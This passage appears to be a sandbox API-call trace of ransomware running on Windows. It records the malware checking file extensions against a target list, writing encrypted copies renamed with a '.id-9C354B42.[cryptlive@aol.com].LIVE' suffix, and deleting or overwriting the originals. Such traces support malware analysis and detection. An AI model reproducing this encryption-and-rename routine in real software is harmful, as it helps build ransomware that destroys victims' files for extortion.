returned -1 [0062.667] lstrlenW (lpString=".pdf") returned 4 [0062.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.667] lstrlenW (lpString=".xls") returned 4 [0062.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.667] lstrlenW (lpString=".xlsx") returned 5 [0062.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.667] lstrlenW (lpString=".ppt") returned 4 [0062.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.667] lstrlenW (lpString=".zip") returned 4 [0062.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.667] lstrlenW (lpString=".rar") returned 4 [0062.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.667] lstrlenW (lpString=".bz2") returned 4 [0062.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.667] lstrlenW (lpString=".7z") returned 3 [0062.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.668] lstrlenW (lpString=".dbf") returned 4 [0062.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.668] lstrlenW (lpString=".1cd") returned 4 [0062.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.668] lstrlenW (lpString=".jpg") returned 4 [0062.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.668] lstrlenW (lpString=".doc") returned 4 [0062.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.668] lstrlenW (lpString=".docx") returned 5 [0062.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.668] lstrlenW (lpString=".pdf") returned 4 [0062.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.668] lstrlenW (lpString=".xls") returned 4 [0062.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.668] lstrlenW (lpString=".xlsx") returned 5 [0062.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.668] lstrlenW (lpString=".ppt") returned 4 [0062.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.668] lstrlenW (lpString=".zip") returned 4 [0062.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.668] lstrlenW (lpString=".rar") returned 4 [0062.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.668] lstrlenW (lpString=".bz2") returned 4 [0062.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.668] lstrlenW (lpString=".7z") returned 3 [0062.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.669] lstrlenW (lpString=".dbf") returned 4 [0062.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.669] lstrlenW (lpString=".1cd") returned 4 [0062.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0062.669] lstrlenW (lpString=".jpg") returned 4 [0062.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.669] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.669] lstrlenW (lpString="AN01545_.WMF") returned 12 [0062.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.669] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7372) returned 1 [0062.669] CloseHandle (hObject=0x188) returned 1 [0062.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0062.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.670] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.670] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.670] GetLastError () returned 0x0 [0062.670] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0062.671] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0062.672] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.672] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.673] SetEndOfFile (hFile=0x214) returned 1 [0062.673] CloseHandle (hObject=0x214) returned 1 [0062.673] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.673] SetEndOfFile (hFile=0x188) returned 1 [0062.674] CloseHandle (hObject=0x188) returned 1 [0062.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0062.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.674] lstrlenW (lpString=".doc") returned 4 [0062.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.674] lstrlenW (lpString=".docx") returned 5 [0062.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.674] lstrlenW (lpString=".pdf") returned 4 [0062.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.674] lstrlenW (lpString=".xls") returned 4 [0062.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.675] lstrlenW (lpString=".xlsx") returned 5 [0062.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.675] lstrlenW (lpString=".ppt") returned 4 [0062.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.675] lstrlenW (lpString=".zip") returned 4 [0062.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.675] lstrlenW (lpString=".rar") returned 4 [0062.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.675] lstrlenW (lpString=".bz2") returned 4 [0062.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.675] lstrlenW (lpString=".7z") returned 3 [0062.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.675] lstrlenW (lpString=".dbf") returned 4 [0062.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.675] lstrlenW (lpString=".1cd") returned 4 [0062.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.675] lstrlenW (lpString=".jpg") returned 4 [0062.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.675] lstrlenW (lpString=".doc") returned 4 [0062.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.675] lstrlenW (lpString=".docx") returned 5 [0062.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.675] lstrlenW (lpString=".pdf") returned 4 [0062.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.675] lstrlenW (lpString=".xls") returned 4 [0062.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.676] lstrlenW (lpString=".xlsx") returned 5 [0062.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.676] lstrlenW (lpString=".ppt") returned 4 [0062.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.676] lstrlenW (lpString=".zip") returned 4 [0062.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.676] lstrlenW (lpString=".rar") returned 4 [0062.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.676] lstrlenW (lpString=".bz2") returned 4 [0062.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.676] lstrlenW (lpString=".7z") returned 3 [0062.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.676] lstrlenW (lpString=".dbf") returned 4 [0062.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.676] lstrlenW (lpString=".1cd") returned 4 [0062.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0062.676] lstrlenW (lpString=".jpg") returned 4 [0062.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.676] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.676] lstrlenW (lpString="AN02122_.WMF") returned 12 [0062.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0x36c [0036.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x37706b0 [0036.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x37806b8 [0036.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570678 [0036.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x573398 [0036.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570690 [0036.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3c40020 [0036.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5706a8 [0036.221] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5706a8, Size=0x20) returned 0x555dc8 [0036.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5706a8 [0036.221] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5706a8, Size=0x20) returned 0x555df0 [0036.221] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.221] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.221] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff58 | out: OldValue=0x328ff58*=0x0) returned 1 [0036.221] lstrlenW (lpString="kernel32.dll") returned 12 [0036.221] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.221] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.221] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.221] Sleep (dwMilliseconds=0x64) [0036.338] Sleep (dwMilliseconds=0x64) [0036.823] Sleep (dwMilliseconds=0x64) [0036.973] lstrcmpiW (lpString1=".LOG2", lpString2=".LIVE") returned 1 [0036.973] lstrlenW (lpString="BCD.LOG2") returned 8 [0036.973] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.092] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=0) returned 1 [0037.093] CloseHandle (hObject=0x16c) returned 1 [0037.093] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.093] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.093] lstrlenW (lpString=".doc") returned 4 [0037.093] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString=".docx") returned 5 [0037.093] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0037.093] lstrlenW (lpString=".pdf") returned 4 [0037.093] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString=".xls") returned 4 [0037.093] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString=".xlsx") returned 5 [0037.093] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0037.093] lstrlenW (lpString=".ppt") returned 4 [0037.093] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.093] lstrlenW (lpString=".zip") returned 4 [0037.093] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString=".rar") returned 4 [0037.093] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString=".bz2") returned 4 [0037.093] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString=".7z") returned 3 [0037.093] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0037.093] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.093] lstrlenW (lpString=".dbf") returned 4 [0037.093] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.093] lstrlenW (lpString=".1cd") returned 4 [0037.093] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.093] lstrlenW (lpString=".jpg") returned 4 [0037.093] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0037.093] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.094] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.094] lstrlenW (lpString=".doc") returned 4 [0037.094] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString=".docx") returned 5 [0037.094] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0037.094] lstrlenW (lpString=".pdf") returned 4 [0037.094] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString=".xls") returned 4 [0037.094] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString=".xlsx") returned 5 [0037.094] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0037.094] lstrlenW (lpString=".ppt") returned 4 [0037.094] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.094] lstrlenW (lpString=".zip") returned 4 [0037.094] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString=".rar") returned 4 [0037.094] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString=".bz2") returned 4 [0037.094] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString=".7z") returned 3 [0037.094] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0037.094] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.094] lstrlenW (lpString=".dbf") returned 4 [0037.094] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.094] lstrlenW (lpString=".1cd") returned 4 [0037.094] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0037.094] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.094] lstrlenW (lpString=".jpg") returned 4 [0037.094] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0037.094] Sleep (dwMilliseconds=0x64) [0037.272] Sleep (dwMilliseconds=0x64) [0037.380] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0037.380] lstrlenW (lpString="PptLR.cab") returned 9 [0037.380] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0037.383] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=70361744) returned 1 [0037.383] CloseHandle (hObject=0x160) returned 1 [0037.383] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0037.384] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.384] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0037.384] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0037.384] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.385] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.385] ReadFile (in: hFile=0x160, lpBuffer=0x3c40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c40058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.394] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.394] ReadFile (in: hFile=0x160, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.401] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.401] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.401] ReadFile (in: hFile=0x160, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.422] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.422] WriteFile (in: hFile=0x160, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0037.555] SetEndOfFile (hFile=0x160) returned 1 [0037.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3e90048 [0037.560] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.560] WriteFile (in: hFile=0x160, lpBuffer=0x3e90048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3e90048*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.561] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.561] WriteFile (in: hFile=0x160, lpBuffer=0x3e90048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3e90048*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.562] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.562] WriteFile (in: hFile=0x160, lpBuffer=0x3e90048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3e90048*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3e90048 | out: hHeap=0x520000) returned 1 [0037.563] CloseHandle (hObject=0x160) returned 1 [0041.796] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0041.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.796] lstrlenW (lpString=".doc") returned 4 [0041.797] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString=".docx") returned 5 [0041.797] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.797] lstrlenW (lpString=".pdf") returned 4 [0041.797] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString=".xls") returned 4 [0041.797] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString=".xlsx") returned 5 [0041.797] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.797] lstrlenW (lpString=".ppt") returned 4 [0041.797] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0041.797] lstrlenW 